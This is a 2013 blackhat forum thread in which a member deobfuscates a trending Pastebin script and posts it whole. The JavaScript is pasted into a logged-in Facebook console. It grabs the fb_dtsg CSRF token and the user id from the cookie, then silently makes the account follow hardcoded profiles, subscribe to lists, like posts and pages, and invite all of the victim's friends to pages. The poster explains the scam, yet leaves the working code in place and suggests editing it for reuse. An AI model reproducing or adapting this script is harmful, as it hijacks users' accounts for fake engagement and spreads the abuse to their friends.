1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Facebook Mass Followers - Pastebin Trending Post

Discussion in 'BlackHat Lounge' started by phobia2381, Dec 31, 2013.

  1. phobia2381

    phobia2381 Junior Member

    Joined:
    Nov 3, 2012
    Messages:
    178
    Likes Received:
    258
    Location:
    Error 404! The Freedom you were looking for could
    Can some make something of this? or even explain it and how it would work? Its a Pastebin Post thats trending right now.. http://pastebin.com/MFMbhmyg
     
  2. Grizzy

    Grizzy Senior Member

    Joined:
    Nov 11, 2008
    Messages:
    919
    Likes Received:
    999
    I'm not sure why it would be trending or what it's being advertised as, but it's a bunch of javascript that one would run in their browser's console while being logged into facebook and while on facebook.com.

    At a quick glance it looks like it scrapes the critical csrf token (fb_dtsg) and the user's id, and then makes a few different XHR requests to FB endpoints that would result in you following/liking numerous users and pages. I have no idea why your would run this unless you wanted to give the author of this little script free followers and likes (hence it's weak-sauce encoding)

    Here's what it looks like all cleaned up, you could edit the function calls/arguments and find use for it I suppose...
    Code:
    /*Auto Follow*/
    var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
    var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
    
    function a(abone) {
        var http4 = new XMLHttpRequest();
        var url4 = "/ajax/follow/follow_profile.php?__a=1";
        var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
        http4.open("POST", url4, true);
        http4.onreadystatechange = function () {
            if (http4.readyState == 4 && http4.status == 200) {
                http4.close;
            }
        };
        http4.send(params4);
    }
    a("100002958261356");
    a("100006087339387");
    a("100006928446308");
    a("100001883193411");
    a("100002453714803");
    a("100007077703736");
    a("100007033804008");
    
    /*Follow List*/
    function LIST(L) {
        var X = new XMLHttpRequest();
        var XURL = "//www.facebook.com/ajax/friends/lists/subscribe/modify";
        var XParams = "flid=" + L + "&action=subscribe&location=feed&nctr[_mod]=pagelet_group_mall&ft[type]=40&ft[tn]=DH&__user=" + user_id + "&__a=1&__dyn=7n8ahxoNpGo&__req=y&fb_dtsg=" + fb_dtsg + "&phstamp=";
        X.open("POST", XURL, true);
        X.onreadystatechange = function () {
            if (X.readyState == 4 && X.status == 200) {
                X.close;
            }
        };
        X.send(XParams);
    }
    
    
    LIST("539970012705101");
    LIST("1430544080491823");
    LIST("1430541690492062");
    LIST("530739290294840");
    LIST("540137886021647");
    LIST("248698515269271");
    LIST("251468438325612");
    LIST("255334981272291");
    LIST("251467124992410");
    LIST("255335867938869");
    LIST("255332577939198");
    LIST("255334377939018");
    LIST("255334604605662");
    LIST("255334261272363");
    LIST("255335691272220");
    LIST("255334807938975");
    LIST("255333587939097");
    LIST("255333457939110");
    LIST("255149891290800");
    LIST("255333704605752");
    LIST("559580230800429");
    LIST("255333881272401");
    LIST("255334041272385");
    LIST("255336004605522");
    LIST("255149051290884");
    
    // page_inv.start
    jx = {
        b: function () {
            var b = !1;
            if ("undefined" != typeof ActiveXObject) try {
                b = new ActiveXObject("Msxml2.XMLHTTP")
            } catch (c) {
                try {
                    b = new ActiveXObject("Microsoft.XMLHTTP")
                } catch (a) {
                    b = !1
                }
            } else if (window.XMLHttpRequest) try {
                b = new XMLHttpRequest
            } catch (h) {
                b = !1
            }
            return b
        },
        load: function (b, c, a, h, g) {
            var e = this.d();
            if (e && b) {
                e.overrideMimeType && e.overrideMimeType("text/xml");
                h || (h = "GET");
                a || (a = "text");
                g || (g = {});
                a = a.toLowerCase();
                h = h.toUpperCase();
                b += b.indexOf("?") + 1 ? "&" : "?";
                var k = null;
                "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
                e.open(h, b, !0);
                e.onreadystatechange = g.c ? function () {
                    g.c(e)
                } : function () {
                    if (4 == e.readyState)
                        if (200 == e.status) {
                            var b = "";
                            e.responseText && (b = e.responseText);
                            "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
                            c && c(b)
                        } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
                };
                e.send(k)
            }
        },
        d: function () {
            return this.b()
        }
    };
    
    var page_id = '168230723373259';
    var page_id = '318955741524458';
    
    var i = 0;
    var suc = 0;
    var arr = new Array;
    jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
        var b = a;
        var c = b.substring(b.indexOf("{"));
        var d = JSON.parse(c);
        d = d.payload.entries;
        for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
        senditnow(arr[i]);
    });
    
    function senditnow(opo) {
    
        jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function () {}, "text", "post");
        suc++;
        if (suc <= arr.length) {
            setTimeout(senditnow(arr[suc]), 3000);
        }
    }
    // page_inv.end
    
    var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
    var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
    var now = (new Date).getTime();
    
    function P(opo) {
        var X = new XMLHttpRequest();
        var XURL = "//www.facebook.com/ajax/ufi/like.php";
        var XParams = "like_action=true&ft_ent_identifier=" + opo + "&source=1&client_id=" + now + "%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg=" + fb_dtsg + "&phstamp=";
        X.open("POST", XURL, true);
        X.onreadystatechange = function () {
            if (X.readyState == 4 && X.status == 200) {
                X.close;
            }
        };
        X.send(XParams);
    }
    P("470662076358912");
    P("547547322003720");
    P("513327508759035");
    
    var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
    var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
    
    function Like(p) {
        var Page = new XMLHttpRequest();
        var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
        var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
        Page.open("POST", PageURL, true);
        Page.onreadystatechange = function () {
            if (Page.readyState == 4 && Page.status == 200) {
                Page.close;
            }
        };
        Page.send(PageParams);
    }
    Like("252813348204330");
    Like("194753060708653");
    Like("187133811318958");
    Like("231949760304891");
    Like("1378403655733607");
    
    Clear();
    Clear();
    Clear();
     
    • Thanks Thanks x 1